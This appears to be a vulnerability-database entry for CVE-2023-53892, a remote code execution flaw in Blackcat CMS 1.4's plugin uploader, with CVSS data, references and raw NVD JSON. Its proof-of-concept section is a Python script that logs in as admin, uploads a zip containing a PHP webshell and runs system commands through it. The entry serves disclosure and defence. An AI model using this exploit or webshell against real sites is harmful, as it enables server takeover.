Security Vulnerability Report
中文
CVE-2023-53892 CVSS 7.2 HIGH

CVE-2023-53892

Published: 2025-12-15 21:15:53
Last Modified: 2025-12-17 15:37:01

Description

Blackcat CMS 1.4 contains a remote code execution vulnerability that allows authenticated administrators to upload malicious PHP files through the jquery plugin manager. Attackers can upload a zip file with a PHP shell script and execute arbitrary system commands by accessing the uploaded plugin's PHP file with a 'code' parameter.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:blackcat-cms:blackcat_cms:1.4:*:*:*:*:*:*:* - VULNERABLE
Blackcat CMS 1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zipfile import requests import sys # CVE-2023-53892 PoC - Blackcat CMS RCE via jQuery Plugin Manager # Target: Blackcat CMS 1.4 # Author: VulnCheck TARGET_URL = 'http://target.com/blackcat' # Change to target URL USERNAME = 'admin' # Change to valid admin username PASSWORD = 'admin123' # Change to valid password def create_malicious_plugin(): """Create a malicious plugin ZIP file with PHP webshell""" # Malicious PHP code that executes system commands via 'code' parameter webshell_content = '''<?php if(isset($_GET['code'])) { system($_GET['code']); } ?>''' # Create plugin info file plugin_info = '''<?xml version="1.0"?> <package version="2.0" name="MaliciousPlugin" type="plugin"> <name>MaliciousPlugin</name> <version>1.0</version> <description>Malicious plugin for testing</description> </package>''' # Create ZIP file zip_filename = 'malicious_plugin.zip' with zipfile.ZipFile(zip_filename, 'w') as zip_file: zip_file.writestr('info.php', plugin_info) zip_file.writestr('index.php', webshell_content) return zip_filename def exploit(): """Main exploitation function""" print('[+] CVE-2023-53892 PoC - Blackcat CMS RCE') print('[+] Target: ' + TARGET_URL) # Step 1: Login as admin session = requests.Session() login_url = TARGET_URL + '/admin/login' login_data = {'username': USERNAME, 'password': PASSWORD} response = session.post(login_url, data=login_data) if 'login' in response.url.lower(): print('[-] Login failed!') return print('[+] Login successful!') # Step 2: Upload malicious plugin plugin_url = TARGET_URL + '/jquery_plugin_manager/upload' zip_file = create_malicious_plugin() files = {'plugin_zip': (zip_file, open(zip_file, 'rb'), 'application/zip')} response = session.post(plugin_url, files=files) if response.status_code == 200: print('[+] Plugin uploaded successfully!') # Extract the uploaded plugin path from response # Usually: /blackcat/plugins/malicious_plugin/index.php webshell_url = TARGET_URL + '/plugins/malicious_plugin/index.php' print('[+] Webshell URL: ' + webshell_url) # Step 3: Execute command cmd = 'whoami' # Default command if len(sys.argv) > 1: cmd = sys.argv[1] exploit_url = webshell_url + '?code=' + cmd response = session.get(exploit_url) print('[+] Command output: ' + response.text.strip()) else: print('[-] Plugin upload failed!') if __name__ == '__main__': exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53892", "sourceIdentifier": "[email protected]", "published": "2025-12-15T21:15:52.537", "lastModified": "2025-12-17T15:37:00.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Blackcat CMS 1.4 contains a remote code execution vulnerability that allows authenticated administrators to upload malicious PHP files through the jquery plugin manager. Attackers can upload a zip file with a PHP shell script and execute arbitrary system commands by accessing the uploaded plugin's PHP file with a 'code' parameter."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:blackcat-cms:blackcat_cms:1.4:*:*:*:*:*:*:*", "matchCriteriaId": "42E5E4E4-1798-4CE1-A926-B9B595ABADEA"}]}]}], "references": [{"url": "https://blackcat-cms.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51605", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/blackcat-cms-remote-code-execution-via-jquery-plugin-manager", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51605", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}]}}